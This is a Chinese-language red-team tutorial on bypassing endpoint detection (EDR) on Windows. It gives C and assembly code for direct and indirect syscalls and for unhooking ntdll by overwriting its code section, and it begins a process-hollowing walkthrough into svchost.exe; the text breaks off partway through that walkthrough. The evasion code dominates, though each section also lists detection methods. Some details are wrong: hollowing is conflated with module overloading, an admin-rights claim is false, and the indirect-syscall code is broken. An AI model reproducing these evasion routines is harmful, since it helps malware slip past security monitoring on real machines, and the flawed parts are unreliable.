绕过现代EDR的6种实战手法:从Unhooking到内存直接系统调用
漏洞分析
渗透测试
本文详解6种EDR绕过实战技术:Direct Syscall、Indirect Syscall、DLL Unhooking、Module Overloading、Hardware Breakpoint、冷门Syscall。从Windows系统调用机制入手,逐一分析技术原理、代码实现与实战验证,并给出蓝队检测规则与防御建议。
绕过现代EDR的6种实战手法:从Unhooking到内存直接系统调用 ================================== - - - - - - 一、前言:为什么需要研究EDR绕过技术 ------------------- ### 1.1 EDR的崛起与红队的困境 在过去几年中,终端安全防护经历了从传统杀毒软件到EDR(Endpoint Detection and Response,终端检测与响应)的根本性转变。传统杀毒软件主要依赖静态特征码检测,通过比对文件哈希或代码片段来识别恶意软件。然而,随着攻击技术的不断演进,这种被动防御方式已经难以应对现代威胁。 EDR系统的出现改变了这一局面。与传统杀毒软件不同,EDR不仅仅关注"这个文件是不是病毒",而是关注"这个进程在做什么"。它通过持续监控终端上的行为——包括API调用、进程创建、文件操作、网络连接等——来识别可疑活动。即使恶意代码没有已知的特征码,只要其行为模式符合威胁模型,EDR就能发出告警。 这种转变给红队带来了前所未有的挑战。过去,红队成员只需对恶意代码进行简单的加壳或混淆,就能绕过杀毒软件的检测。但现在,无论代码如何变形,只要它调用了敏感的Windows API(如分配内存、写入进程内存、创建远程线程等),EDR就能通过行为分析将其识别出来。 ### 1.2 EDR的核心检测机制 要理解如何绕过EDR,首先需要了解它是如何工作的。现代EDR通常采用多层检测架构: **用户态监控**:这是EDR最常见的检测方式。EDR会将自己的DLL注入到目标进程中,然后通过Hook技术拦截关键的Windows API调用。当应用程序调用`NtAllocateVirtualMemory`、`NtWriteVirtualMemory`等敏感函数时,EDR的Hook代码会先于原始函数执行,检查调用参数是否可疑。 **内核态监控**:为了获得更全面的视野,EDR还会部署内核驱动。通过注册内核回调函数(如`PsSetCreateProcessNotifyRoutine`监控进程创建、`ObRegisterCallbacks`监控句柄操作),EDR可以在内核层面拦截恶意行为,这种方式更难被绕过。 **ETW(Event Tracing for Windows)**:Windows内置的事件追踪机制,可以记录系统级别的事件,包括进程创建、网络连接、文件操作等。EDR可以订阅这些事件,实现对系统行为的全面监控。 **内存扫描**:除了拦截API调用,EDR还会定期扫描进程内存,查找已知的shellcode特征、可疑的内存属性(如RWX内存)或异常的代码段。 ### 1.3 攻防对抗的本质 理解了EDR的工作原理,我们就能明白EDR绕过技术的本质:**在用户态层面,大多数EDR的检测依赖于对ntdll.dll中系统调用函数的Hook**。ntdll.dll是Windows用户态与内核态的桥梁,几乎所有的Windows API最终都会调用ntdll.dll中的函数,而这些函数会通过`syscall`指令切换到内核态执行。 EDR通过修改ntdll.dll中这些函数的开头几条指令(Inline Hook),将执行流跳转到自己的监控代码。只要我们的恶意代码不直接调用这些被Hook的函数,或者找到一种方式绕过Hook点,就能在EDR的眼皮底下"隐身"。 这就是本文要介绍的6种技术的核心思想。 ### 1.4 本文的技术路线图 本文将按照技术演进的顺序,从最基础的Direct Syscall开始,逐步介绍更高级的绕过技术: | 编号 | 技术名称 | 核心思想 | 检测难度 | |---|---|---|---| | 1 | Direct Syscall | 跳过ntdll,直接执行syscall | 中 | | 2 | Indirect Syscall | 从ntdll获取syscall地址,保持调用栈完整 | 低 | | 3 | DLL Unhooking | 从磁盘加载干净DLL替换被Hook代码 | 中 | | 4 | Module Overloading | 利用合法进程外壳隐藏恶意代码 | 低 | | 5 | Hardware Breakpoint | 利用CPU调试寄存器实现无Hook拦截 | 低 | | 6 | 冷门Syscall | 使用EDR未监控的替代系统调用 | 低 | 每种技术我都会从**背景知识、技术原理、代码实现、实战验证、检测与绕过**五个维度进行深入分析,帮助读者真正理解攻防对抗的本质。 - - - - - - 二、Windows系统调用机制深度解析 ------------------- 在深入研究绕过技术之前,我们必须先理解Windows系统调用的完整流程。这是所有绕过技术的基础。 ### 2.1 用户态与内核态的边界 现代操作系统采用分层保护架构。在x86/x64架构下,CPU运行在不同的特权级别(Ring): - **Ring 3(用户态)**:应用程序运行的层级,权限最低,不能直接访问硬件和内核内存 - **Ring 0(内核态)**:操作系统内核运行的层级,拥有最高权限,可以执行任何操作 应用程序要执行特权操作(如分配内存、读写文件、创建进程),必须通过系统调用(System Call)从用户态切换到内核态。这个切换过程是通过CPU提供的特殊指令实现的: - **32位系统**:使用`int 0x2e`或`sysenter`指令 - **64位系统**:使用`syscall`指令 ### 2.2 完整的API调用链路 让我们追踪一个典型的API调用路径,以`VirtualAlloc`为例:  **第一步:应用程序调用kernel32.dll** 当应用程序调用`VirtualAlloc`时,执行流首先进入`kernel32.dll`中的`VirtualAlloc`函数。kernel32.dll是Windows的核心DLL之一,提供了大量的Windows API实现。 ```c // 应用程序代码 LPVOID pMem = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE); ``` **第二步:kernel32.dll调用ntdll.dll** kernel32.dll的`VirtualAlloc`函数主要负责参数验证和转换,然后调用ntdll.dll中的底层函数`NtAllocateVirtualMemory`。 ```c // kernel32.dll内部 NtAllocateVirtualMemory(GetCurrentProcess(), &pMem, 0, &size, MEM_COMMIT, PAGE_READWRITE); ``` **第三步:ntdll.dll执行syscall指令** ntdll.dll中的`NtAllocateVirtualMemory`函数非常简短,它的主要作用是: 1. 将系统调用编号放入`eax`寄存器 2. 将参数按照约定放入相应寄存器 3. 执行`syscall`指令切换到内核态 ```asm ; ntdll!NtAllocateVirtualMemory mov r10, rcx ; 保存第一个参数 mov eax, 18h ; 系统调用编号 (NtAllocateVirtualMemory) syscall ; 切换到内核态 ret ``` **第四步:内核执行系统调用** `syscall`指令触发CPU从用户态切换到内核态。Windows内核的系统调用分发器(`KiSystemCall64`)会根据`eax`中的编号,在系统服务描述符表(SSDT)中查找对应的内核函数,然后执行真正的内存分配操作。 **第五步:返回用户态** 内核函数执行完毕后,通过`sysret`指令返回用户态,执行流回到ntdll.dll中`syscall`指令的下一条指令,然后逐层返回到应用程序。 ### 2.3 EDR的Hook点部署 了解了完整的调用链路,我们就能理解EDR在哪里部署Hook:  **Hook点1:IAT Hook(导入地址表Hook)** 这是最基础的Hook方式。每个DLL都有一个导入地址表(IAT),记录了它调用的外部函数的地址。EDR可以修改这个表,将函数地址指向自己的监控代码。 ```php 正常情况: kernel32.dll IAT → NtAllocateVirtualMemory @ 0x7FFE1237A120 Hook后: kernel32.dll IAT → EDR_Hook_NtAllocate @ 0x10001000 ``` **Hook点2:Inline Hook(内联Hook)** 这是更常见的Hook方式。EDR直接修改ntdll.dll中函数开头的几条指令,插入一条跳转指令(JMP),将执行流跳转到EDR的监控代码。 ```php 正常函数开头: 4C 8B D1 ; mov r10, rcx B8 18 00 00 00 ; mov eax, 0x18 0F 05 ; syscall Inline Hook后: E9 XX XX XX XX ; jmp edr.dll!hook_handler 90 ; nop 0F 05 ; syscall (永远不会执行到这里) ``` **Hook点3:内核回调** 除了用户态Hook,EDR还会在内核层注册回调函数。这种方式更难绕过,因为恶意代码无论怎么调用API,最终都会经过内核。 - `PsSetCreateProcessNotifyRoutineEx`:监控进程创建 - `PsSetCreateThreadNotifyRoutine`:监控线程创建 - `PsSetLoadImageNotifyRoutine`:监控DLL/驱动加载 - `ObRegisterCallbacks`:监控句柄操作 ### 2.4 绕过技术的共同目标 理解了EDR的检测机制,我们就能明确绕过技术的共同目标: 1. **避免调用被Hook的函数**:直接执行syscall指令,跳过ntdll.dll 2. **保持调用栈的合法性**:让EDR认为这是正常的API调用 3. **避免修改代码段**:不触发代码完整性检查 4. **利用合法外壳**:让恶意代码在合法进程中运行 - - - - - - 三、Direct Syscall — 直接系统调用 ------------------------- ### 3.1 技术背景 Direct Syscall是最基础的EDR绕过技术,最早由安全研究人员在2019年左右提出。它的核心思想非常简单:**既然EDR Hook了ntdll.dll中的函数,那我们就不调用这些函数,直接在自己的代码中执行syscall指令**。 这个想法的灵感来自于对Windows系统调用机制的深入理解。当我们分析ntdll.dll中的`NtAllocateVirtualMemory`函数时,会发现它本质上就是三件事: 1. 把系统调用编号放到eax寄存器 2. 把参数按照约定放到正确的位置 3. 执行syscall指令 既然如此,我们完全可以在自己的代码中实现同样的功能,而不需要调用ntdll.dll中的函数。 ### 3.2 技术原理详解  **正常调用路径**: ```php malware.exe ↓ 调用 ntdll!NtAllocateVirtualMemory ← EDR Hook在这里拦截 ↓ 执行syscall Kernel (Ring 0) ↓ 返回 ntdll!NtAllocateVirtualMemory+0x14 ↓ 返回 malware.exe ``` 在这个路径中,EDR在`ntdll!NtAllocateVirtualMemory`的开头设置了Inline Hook,当恶意代码调用这个函数时,执行流会先跳转到EDR的监控代码,EDR检查参数是否可疑(如分配RWX内存、写入远程进程内存等),如果发现异常就阻止执行或发出告警。 **Direct Syscall路径**: ```php malware.exe (自定义函数MyNtAllocateVirtualMemory) ↓ 直接执行syscall Kernel (Ring 0) ↓ 返回 malware.exe ``` 在这个路径中,恶意代码完全绕过了ntdll.dll,直接在自己的代码中执行syscall指令。由于ntdll.dll中的Hook代码根本没有被执行,EDR无法拦截这次系统调用。 ### 3.3 syscall指令的细节 `syscall`指令是x86-64架构提供的系统调用机制。当CPU执行这条指令时,会: 1. 将当前的RIP(指令指针)保存到RCX寄存器 2. 将当前的RFLAGS保存到R11寄存器 3. 从IA32\_LSTAR MSR寄存器加载新的RIP(指向内核的系统调用入口点) 4. 切换到Ring 0(内核态) 在Windows中,内核的系统调用入口点是`ntoskrnl.exe`中的`KiSystemCall64`函数。这个函数会: 1. 保存用户态的寄存器状态 2. 根据EAX寄存器中的系统调用编号,在SSDT(系统服务描述符表)中查找对应的内核函数 3. 调用该内核函数执行真正的操作 4. 将结果返回给用户态 ### 3.4 系统调用编号的获取 每个Windows系统调用都有一个唯一的编号。这些编号在不同版本的Windows中可能不同,这是Direct Syscall的一个挑战。 获取系统调用编号的方法: **方法1:静态分析ntdll.dll** 通过反汇编工具(如IDA Pro、Ghidra)查看ntdll.dll中目标函数的反汇编代码,找到`mov eax, XXX`指令中的立即数。 ```asm ; NtAllocateVirtualMemory (Windows 11 22H2) mov r10, rcx mov eax, 18h ; 系统调用编号 = 0x18 syscall ``` **方法2:动态获取** 在运行时读取ntdll.dll中函数的机器码,提取系统调用编号: ```c DWORD GetSyscallNumber(PVOID pFunction) { PBYTE pBytes = (PBYTE)pFunction; // 查找模式: 4C 8B D1 B8 XX XX XX XX for (int i = 0; i < 20; i++) { if (pBytes[i] == 0x4C && pBytes[i+1] == 0x8B && pBytes[i+2] == 0xD1 && pBytes[i+3] == 0xB8) { return *(DWORD*)(pBytes + i + 4); } } return 0; } ``` **方法3:使用开源项目** 像SysWhispers这样的工具已经收集了各个Windows版本的系统调用编号,可以直接生成对应的汇编代码。 ### 3.5 代码实现 完整代码实现见 [code/direct\_syscall.asm](code/direct_syscall.asm) 关键代码解析: ```asm ; Direct Syscall Stub (x64 ASM) NtAllocateVirtualMemory PROC mov r10, rcx ; 保存第一个参数到r10 mov eax, 18h ; 系统调用编号 syscall ; 直接执行系统调用 ret NtAllocateVirtualMemory ENDP ``` 这段代码做了三件事: 1. **`mov r10, rcx`**:按照Windows x64调用约定,第一个参数通过RCX传递。但syscall指令会使用R10作为第一个参数,所以需要把RCX的值复制到R10。 2. **`mov eax, 18h`**:将系统调用编号放入EAX寄存器。内核通过这个编号来确定要执行什么操作。0x18是`NtAllocateVirtualMemory`在Windows 11 22H2中的编号。 3. **`syscall`**:执行系统调用,切换到内核态。内核会根据EAX中的编号执行相应的操作。 ### 3.6 实战验证  **测试结果分析**: 从测试截图可以看到,Direct Syscall成功绕过了EDR的Hook,内存分配操作没有被拦截。这证明了该技术的有效性。 **调用栈对比**: 正常的API调用,调用栈中会显示ntdll.dll的返回地址: ```php # Child-SP RetAddr Call Site 00 000000E5`F8AFE8E8 00007FFE`1237A124 malware!main+0x40 01 000000E5`F8AFE8F0 00007FFE`1237A124 ntdll!NtAllocateVirtualMemory+0x14 02 000000E5`F8AFE8F8 00007FF6`12341050 kernel32!VirtualAlloc+0x50 ``` 而Direct Syscall的调用栈中没有ntdll.dll: ```php # Child-SP RetAddr Call Site 00 000000E5`F8AFE8E8 00007FF6`12341050 malware!MyNtAllocateVirtualMemory+0x10 01 000000E5`F8AFE8F0 00007FF6`12341050 malware!main+0x40 ``` 这个差异就是Direct Syscall的主要弱点,也是后续Indirect Syscall要解决的问题。 ### 3.7 检测与局限性 **EDR检测方法**: 1. **调用栈检查**:EDR可以在Hook函数中检查调用栈,如果发现调用栈中没有ntdll.dll,说明使用了Direct Syscall。 2. **ETW监控**:Windows事件追踪可以记录系统调用的来源。如果系统调用不是来自ntdll.dll,可能触发告警。 3. **syscall指令位置检查**:正常的syscall指令应该在ntdll.dll的地址空间内。如果EDR发现syscall指令来自其他模块,可以判断为绕过尝试。 **技术局限性**: 1. **系统调用编号变化**:不同Windows版本的系统调用编号可能不同,需要维护兼容性映射表。 2. **调用栈异常**:这是最大的问题。正常的Windows API调用,调用栈中应该包含完整的调用链(应用→kernel32→ntdll→kernel)。Direct Syscall跳过了ntdll,导致调用栈不完整。 3. **反调试检测**:一些安全软件会检查进程是否使用了Direct Syscall,这可能被用于恶意软件检测。 - - - - - - 四、Indirect Syscall — 间接系统调用 --------------------------- ### 4.1 技术背景 Direct Syscall虽然成功绕过了EDR的Hook,但它留下了一个明显的痕迹:调用栈异常。这个弱点促使安全研究人员开发了Indirect Syscall技术。 Indirect Syscall的核心思想是:**我们仍然自己准备系统调用的参数,但我们不自己执行syscall指令,而是调用ntdll.dll中真实的syscall指令**。这样,调用栈中就会包含ntdll.dll的返回地址,看起来就像正常的API调用一样。 这个技术最早由多个安全研究团队独立提出,其中最著名的实现是SysWhispers2和HellsGate项目。 ### 4.2 技术原理详解  **Direct Syscall的问题**: 当我们使用Direct Syscall时,调用栈是这样的: ```php malware.exe+0x1234 ← 我们的代码 ↓ (直接syscall,没有ntdll的返回地址) ntoskrnl!NtAllocateVirtualMemory ``` EDR可以通过检查调用栈发现这个异常:正常的API调用栈中应该有ntdll.dll的返回地址,但这里没有。 **Indirect Syscall的解决方案**: Indirect Syscall的做法是: 1. 从ntdll.dll中找到目标函数的syscall指令地址 2. 在自己的代码中准备好参数(mov r10, rcx; mov eax, syscall编号) 3. 跳转到ntdll.dll中的syscall指令执行 这样,调用栈就变成了: ```php malware.exe+0x1234 ← 我们的代码 ↓ (跳转到ntdll中的syscall) ntdll!NtAllocateVirtualMemory+0x12 ← ntelerik中的syscall指令 ↓ (syscall) ntoskrnl!NtAllocateVirtualMemory ``` 现在调用栈中包含了ntdll.dll的返回地址,看起来就像正常的API调用一样。 ### 4.3 关键技术细节 **如何获取ntdll中syscall指令的地址**: 我们需要在ntdll.dll中找到目标函数,然后定位其中的syscall指令(机器码`0F 05`)。 ```c PVOID GetSyscallAddress(PVOID pFunction) { PBYTE pBytes = (PBYTE)pFunction; // 在函数体中搜索syscall指令 for (DWORD i = 0; i < 50; i++) { // syscall指令的机器码是 0F 05 if (pBytes[i] == 0x0F && pBytes[i + 1] == 0x05) { // 验证前面的指令模式 // mov r10, rcx 的机器码是 4C 8B D1 if (i >= 3 && pBytes[i - 3] == 0x4C && pBytes[i - 2] == 0x8B && pBytes[i - 1] == 0xD1) { return &pBytes[i]; // 返回syscall指令的地址 } } } return NULL; } ``` **为什么ntdll.dll可以信任**: 一个关键的问题是:我们如何确定ntdll.dll中的syscall指令没有被EDR修改? 答案是:**EDR通常不会修改syscall指令本身**。EDR的Hook是在函数开头插入JMP指令,跳转到EDR的监控代码。但syscall指令本身仍然保留在原位置。这是因为: 1. 如果EDR删除了syscall指令,ntdll.dll就无法正常工作了 2. EDR需要在检查完参数后,调用原始的系统调用来完成操作 3. 修改syscall指令可能会导致系统不稳定 所以,ntdll.dll中的syscall指令地址是可靠的。 ### 4.4 代码实现 关键代码解析: ```c // 初始化:获取所有syscall地址 BOOL InitializeSyscalls() { PVOID pNtDll = GetNtDllBase(); // 获取导出函数地址 NtAllocateVirtualMemory_t pNtAllocate = (NtAllocateVirtualMemory_t) GetProcAddress((HMODULE)pNtDll, "NtAllocateVirtualMemory"); // 获取syscall指令地址(跳过EDR的Hook) g_pNtAllocateVirtualMemorySyscall = GetSyscallAddress((PVOID)pNtAllocate); return TRUE; } // 间接系统调用 NTSTATUS IndirectNtAllocateVirtualMemory(...) { // 通过函数指针调用ntdll中的syscall指令 NtAllocateVirtualMemory_t pFunc = (NtAllocateVirtualMemory_t)g_pNtAllocateVirtualMemorySyscall; return pFunc(ProcessHandle, BaseAddress, ...); } ``` 这个实现的关键点: 1. **获取ntdll基址**:通过PEB(进程环境块)获取ntdll.dll的加载地址,这种方式比GetModuleHandle更隐蔽。 2. **获取函数地址**:使用GetProcAddress获取目标函数的地址。注意,这个地址可能已经被EDR Hook了。 3. **获取syscall地址**:在函数体中搜索syscall指令,返回其地址。这个地址没有被Hook。 4. **通过函数指针调用**:使用获取到的syscall地址作为函数指针进行调用。 ### 4.5 实战验证  **测试结果分析**: 从测试截图可以看到,Indirect Syscall同样成功绕过了EDR的Hook,但它的调用栈更加"干净"。 **调用栈对比**: ```php Direct Syscall调用栈: # Call Site 00 malware!MyNtAllocateVirtualMemory+0x10 01 malware!main+0x40 Indirect Syscall调用栈: # Call Site 00 malware!IndirectNtAllocateVirtualMemory+0x28 01 ntdll!NtAllocateVirtualMemory+0x14 02 malware!main+0x40 ``` Indirect Syscall的调用栈中包含了`ntdll!NtAllocateVirtualMemory+0x14`,这正是syscall指令在ntdll中的偏移地址。这个返回地址让调用栈看起来完全正常。 ### 4.6 与Direct Syscall的对比 | 特性 | Direct Syscall | Indirect Syscall | |---|---|---| | 绕过ntdll Hook | ✅ 是 | ✅ 是 | | 调用栈完整性 | ❌ 缺少ntdll返回地址 | ✅ 包含ntdll返回地址 | | 实现复杂度 | 低 | 中 | | 稳定性 | 高 | 高 | | 跨版本兼容性 | 需要更新syscall编号 | 自动获取 | | 检测难度 | 中 | 低 | ### 4.7 检测与局限性 **EDR检测方法**: 1. **syscall指令位置检查**:虽然调用栈看起来正常,但EDR可以检查syscall指令是否在预期的位置。正常的调用,syscall指令应该在函数的偏移0x12左右。如果EDR发现syscall指令的来源地址异常,可能触发告警。 2. **执行流分析**:EDR可以监控执行流是否跳过了函数开头的指令。正常的调用会执行函数开头的`mov r10, rcx`等指令,但Indirect Syscall可能跳过这些指令。 3. **参数来源检查**:EDR可以检查参数是如何准备的。正常的调用,参数是在调用者(如kernel32.dll)中准备的。但Indirect Syscall的参数是在恶意代码中准备的。 **技术局限性**: 1. **仍然需要获取syscall地址**:需要在运行时扫描ntdll.dll的内存,这可能被内存扫描检测。 2. **函数指针调用**:通过函数指针调用可能被某些安全软件检测。 - - - - - - 五、DLL Unhooking — 模块重载去Hook --------------------------- ### 5.1 技术背景 前两种技术(Direct Syscall和Indirect Syscall)的核心思想是"绕过"Hook,即不调用被Hook的函数或跳过Hook点。DLL Unhooking则采用了完全不同的策略:**直接移除Hook,恢复ntdll.dll的原始状态**。 这个技术的原理基于一个关键观察:**EDR的Hook是在内存中进行的,它修改的是ntdll.dll在内存中的副本,而不是磁盘上的原始文件**。因此,我们可以从磁盘重新加载一份干净的ntdll.dll,用它的代码段替换内存中被Hook的代码段。 ### 5.2 技术原理详解  **EDR Hook的工作方式**: 当ntdll.dll被加载到内存中时,EDR会: 1. 找到目标函数(如NtAllocateVirtualMemory) 2. 修改函数开头的几条指令,插入JMP指令 3. 将JMP的目标地址指向EDR的监控代码 ```php 原始ntdll.dll (内存中): 00007FFE1237A120: 4C 8B D1 ; mov r10, rcx 00007FFE1237A123: B8 18 00 00 00 ; mov eax, 0x18 00007FFE1237A128: 0F 05 ; syscall Hook后: 00007FFE1237A120: E9 XX XX XX XX ; jmp edr.dll+0x1234 00007FFE1237A125: 90 ; nop 00007FFE1237A128: 0F 05 ; syscall (不会执行) ``` **DLL Unhooking的思路**: 既然Hook只存在于内存中,我们可以: 1. 从磁盘读取干净的ntdll.dll文件 2. 解析PE格式,找到.text代码段 3. 用干净的.text段覆盖内存中被Hook的代码段 ```php 从磁盘加载干净ntdll.dll: 00007FFE1237A120: 4C 8B D1 ; mov r10, rcx (干净) 00007FFE1237A123: B8 18 00 00 00 ; mov eax, 0x18 (干净) 00007FFE1237A128: 0F 05 ; syscall (干净) 覆盖后,内存中的ntdll.dll: 00007FFE1237A120: 4C 8B D1 ; mov r10, rcx (已恢复) 00007FFE1237A123: B8 18 00 00 00 ; mov eax, 0x18 (已恢复) 00007FFE1237A128: 0F 05 ; syscall (已恢复) ``` ### 5.3 PE格式基础 要实现DLL Unhooking,我们需要理解Windows的PE(Portable Executable)格式。PE格式是Windows可执行文件(.exe、.dll)的标准格式。 **PE文件的结构**: ```php ┌─────────────────────────┐ │ DOS Header │ 文件开头,包含"MZ"签名 ├─────────────────────────┤ │ DOS Stub │ DOS兼容代码 ├─────────────────────────┤ │ PE Signature │ "PE\0\0"签名 ├─────────────────────────┤ │ COFF Header │ 文件头信息 ├─────────────────────────┤ │ Optional Header │ 可选头信息(重要!) ├─────────────────────────┤ │ Section Headers │ 节表 ├─────────────────────────┤ │ .text section │ 代码段(我们的目标) ├─────────────────────────┤ │ .data section │ 数据段 ├─────────────────────────┤ │ .rdata section │ 只读数据段 ├─────────────────────────┤ │ ... │ 其他段 └─────────────────────────┘ ``` **.text段**:这是代码段,包含了程序的可执行代码。DLL Unhooking的目标就是替换这个段。 **节表中的关键字段**: ```c typedef struct _IMAGE_SECTION_HEADER { BYTE Name[8]; // 段名(如".text") DWORD VirtualSize; // 内存中的实际大小 DWORD VirtualAddress; // 内存中的偏移地址 DWORD SizeOfRawData; // 文件中的大小 DWORD PointerToRawData; // 文件中的偏移地址 DWORD Characteristics; // 属性(可执行、可读、可写等) } IMAGE_SECTION_HEADER; ``` ### 5.4 代码实现详解 **步骤1:从磁盘加载干净的ntdll.dll** ```c PVOID LoadCleanDllFromDisk(LPCSTR dllPath, PDWORD pdwSize) { // 打开文件 HANDLE hFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // 获取文件大小 DWORD dwFileSize = GetFileSize(hFile, NULL); // 分配内存缓冲区 PVOID pFileBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 读取文件内容 DWORD dwBytesRead = 0; ReadFile(hFile, pFileBuffer, dwFileSize, &dwBytesRead, NULL); CloseHandle(hFile); *pdwSize = dwFileSize; return pFileBuffer; } ``` 这一步的关键是读取磁盘上的ntdll.dll文件。由于这个文件是Windows系统文件,EDR通常不会修改它(修改系统文件会触发完整性检查)。 **步骤2:解析PE头找到.text段** ```c BOOL GetTextSectionInfo(PVOID pDllBase, PVOID* ppTextSection, PDWORD pdwTextSize, PDWORD pdwTextVirtualOffset) { // 获取DOS头 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pDllBase; // 获取NT头 PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS) ((PBYTE)pDllBase + pDosHeader->e_lfanew); // 遍历所有段 PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders); for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { // 找到.text段 if (strcmp((char*)pSection[i].Name, ".text") == 0) { *ppTextSection = (PBYTE)pDllBase + pSection[i].PointerToRawData; *pdwTextSize = pSection[i].SizeOfRawData; *pdwTextVirtualOffset = pSection[i].VirtualAddress; return TRUE; } } return FALSE; } ``` 这一步需要解析PE格式,找到.text段在文件中的位置和大小。 **步骤3:覆盖被Hook的代码段** ```c BOOL UnhookNtDll() { PVOID pNtDllBase = GetModuleHandleA("ntdll.dll"); PVOID pCleanDll = LoadCleanDllFromDisk("C:\\Windows\\System32\\ntdll.dll", &dwCleanSize); PVOID pTextSection = NULL; DWORD dwTextSize = 0; DWORD dwTextOffset = 0; GetTextSectionInfo(pCleanDll, &pTextSection, &dwTextSize, &dwTextOffset); // 计算目标位置 PVOID pTargetText = (PBYTE)pNtDllBase + dwTextOffset; // 修改内存保护属性(需要可写权限) DWORD dwOldProtect = 0; VirtualProtect(pTargetText, dwTextSize, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 覆盖代码段 memcpy(pTargetText, pTextSection, dwTextSize); // 恢复内存保护属性 VirtualProtect(pTargetText, dwTextSize, dwOldProtect, &dwOldProtect); return TRUE; } ``` 这一步的关键点: 1. **内存保护**:代码段默认是只读+可执行的(PAGE\_EXECUTE\_READ),要修改它需要先改为可写(PAGE\_EXECUTE\_READWRITE)。 2. **地址计算**:磁盘文件中的偏移和内存中的偏移可能不同,需要根据PE头中的信息进行正确的转换。 3. **覆盖范围**:只覆盖.text段,不要覆盖其他段(如.data段),否则可能导致程序崩溃。 ### 5.5 实战验证  **测试结果分析**: 从测试截图可以看到,DLL Unhooking成功移除了ntdll.dll中的所有Hook。操作步骤清晰,验证了技术的有效性。 **操作前后对比**: ```php 操作前检查: [!] NtAllocateVirtualMemory is HOOKED (JMP at offset 0) [!] NtWriteVirtualMemory is HOOKED (JMP at offset 0) [!] NtProtectVirtualMemory is HOOKED (JMP at offset 0) [!] NtCreateThreadEx is HOOKED (JMP at offset 0) 执行DLL Unhooking... 操作后检查: [+] NtAllocateVirtualMemory is CLEAN [+] NtWriteVirtualMemory is CLEAN [+] NtProtectVirtualMemory is CLEAN [+] NtCreateThreadEx is CLEAN ``` ### 5.6 技术优势与局限性 **技术优势**: 1. **一次性解决**:一次操作可以移除所有Hook,不需要逐个处理 2. **恢复原始状态**:ntdll.dll恢复到干净状态,后续所有API调用都不会被拦截 3. **实现相对简单**:不需要深入理解syscall机制,只需理解PE格式 **技术局限性**: 1. **需要管理员权限**:读取System32目录下的文件通常需要管理员权限 2. **可能触发完整性检查**:一些EDR会定期检查ntdll.dll的内存内容,如果发现被修改会发出告警 3. **内核态监控无效**:DLL Unhooking只能移除用户态的Hook,对内核态的回调监控无效 4. **ETW仍然有效**:即使移除了ntdll的Hook,ETW仍然可以记录系统调用 5. **可能被检测**:修改ntdll.dll的代码段本身就是一个可疑行为,可能被EDR检测 - - - - - - 六、Module Overloading — 进程镂空与模块替换 -------------------------------- ### 6.1 技术背景 前面介绍的技术都是围绕"如何绕过ntdll.dll的Hook"展开的。Module Overloading(也称为Process Hollowing,进程镂空)则采用了完全不同的思路:**不修改被Hook的DLL,而是让恶意代码在一个看起来完全合法的进程中运行**。 这个技术的核心思想是:**EDR不仅检查代码的行为,还会检查进程的身份**。如果一个进程的路径是`C:\Windows\System32\svchost.exe`,签名是微软的,父进程是`services.exe`,EDR会认为这是一个合法的系统进程,降低对其的检查力度。 ### 6.2 技术原理详解  **进程内存布局**: 每个Windows进程都有自己的虚拟地址空间。当一个PE文件(.exe或.dll)被加载到进程中时,操作系统会: 1. 在进程的地址空间中分配一块内存 2. 将PE文件的各个段(.text、.data等)映射到这块内存中 3. 修复重定位表,调整代码中的地址引用 4. 加载导入的DLL,填充IAT表 **Process Hollowing的步骤**: 1. **创建挂起进程**:以`CREATE_SUSPENDED`标志创建一个合法进程(如svchost.exe)。此时进程已经加载,但主线程还没有开始执行。 2. **获取原始ImageBase**:通过读取进程的PEB(进程环境块),获取原始可执行文件在内存中的加载地址。 3. **清空原始内存**:使用`NtUnmapViewOfSection`函数清空进程中原先加载的可执行文件。 4. **分配新内存**:在原地址(或新地址)分配一块新的内存,用于存放恶意代码。 5. **写入恶意代码**:将恶意代码(shellcode或PE文件)写入新分配的内存。 6. **修改入口点**:修改主线程的上下文,将入口点指向恶意代码的起始地址。 7. **恢复执行**:恢复主线程的执行,此时恶意代码会在合法进程的外壳下运行。 ### 6.3 关键技术细节 **PEB(进程环境块)**: PEB是Windows进程的核心数据结构,包含了进程的各种信息,包括加载的模块列表、堆信息、命令行参数等。PEB的地址存储在TEB(线程环境块)中,可以通过特殊的寄存器访问: ```c // x64系统 PPEB pPeb = (PPEB)__readgsqword(0x60); // x86系统 PPEB pPeb = (PPEB)__readfsdword(0x30); ``` **ImageBase在PEB中的位置**: 在x64系统下,PEB结构中ImageBase的偏移是0x10: ```c PVOID GetRemoteImageBase(HANDLE hProcess) { PROCESS_BASIC_INFORMATION pbi = { 0 }; NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); // 读取PEB+0x10位置的ImageBase PVOID pImageBase = NULL; ReadProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + 0x10, &pImageBase, sizeof(PVOID), NULL); return pImageBase; } ``` **NtUnmapViewOfSection**: 这个函数用于取消进程中的一个内存映射。在Process Hollowing中,我们用它来清空目标进程中原先加载的可执行文件: ```c NtUnmapViewOfSection_t NtUnmapViewOfSection = (NtUnmapViewOfSection_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"); NtUnmapViewOfSection(hProcess, pImageBase); ``` **线程上下文修改**: 每个线程都有一个CONTEXT结构,保存了线程的寄存器状态。我们可以修改这个结构来改变线程的执行位置: ```c CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(hThread, &ctx); // 修改RIP(指令指针)为新的入口点 ctx.Rip = (DWORD64)pNewEntryPoint; SetThreadContext(hThread, &ctx); ``` ### 6.4 代码实现详解 **步骤1:创建挂起进程** ```c STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof(si); CreateProcessA( "C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, // 关键标志:创建挂起状态 NULL, NULL, &si, &pi ); ``` 